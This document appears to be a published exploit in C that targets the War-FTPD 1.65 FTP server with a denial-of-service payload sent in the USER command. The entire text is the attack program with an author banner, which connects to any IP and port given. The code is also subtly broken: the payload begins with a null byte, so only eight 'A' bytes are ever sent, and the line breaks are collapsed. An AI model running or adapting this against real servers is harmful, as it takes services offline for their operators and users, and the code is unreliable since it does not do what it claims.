War-FTPD 1.65 Denial Of Service

#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/socket.h>#include <arpa/inet.h>void intro();void main_exploit(char *ip, int port);int main(int argc, char *argv[]) {    if (argc != 3) {        printf("Usage: %s <ip> <port>\n", argv[0]);        exit(EXIT_FAILURE);    }    intro();    main_exploit(argv[1], atoi(argv[2]));    return 0;}void intro() {    printf("\n"           "---------- # ------------------------------------------------------------------\n"           "--------- ##= ------- [+] War-FTPD 1.65 Username - Denied of Service (DoS) -----\n"           "-------- ##=== ----------------------------------------------------------------\n"           "------ ###==#=== --------------------------------------------------------------\n"           "---- ####===##==== ------------------------------------------------------------\n"           "-- #####====###===== -----          Coded by Fernando Mengali             -----\n"           "- #####=====####===== -----        [email protected]            -----\n"           "- #####=====####===== --------------------------------------------------------\n"           "--- ####=  #  #==== --------    Prepare to exploiting the server   ------------\n"           "--------- ##= ------------------------------------------------------------------\n"           "------- ####=== ---------------------------------------------------------------\n");}void main_exploit(char *ip, int port) {    char exploit[1000];    strcpy(exploit, "\x41\x41\x41\x41\x41\x41\x41\x41"); // Add more 'A's if needed    strcat(exploit, "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e\r\n");    int sockfd;    struct sockaddr_in server_addr;    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {        perror("Socket creation error");        exit(EXIT_FAILURE);    }    server_addr.sin_family = AF_INET;    server_addr.sin_port = htons(port);    if (inet_pton(AF_INET, ip, &server_addr.sin_addr) <= 0) {        perror("Invalid address/ Address not supported");        exit(EXIT_FAILURE);    }    if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {        perror("Connection Failed");        exit(EXIT_FAILURE);    }    char buffer[1024] = {0};    read(sockfd, buffer, sizeof(buffer));    printf("Connected => %s\n", buffer);    write(sockfd, "USER ", strlen("USER "));    write(sockfd, exploit, strlen(exploit));    read(sockfd, buffer, sizeof(buffer));    printf("Authentication USER: %s\n", buffer);    close(sockfd);}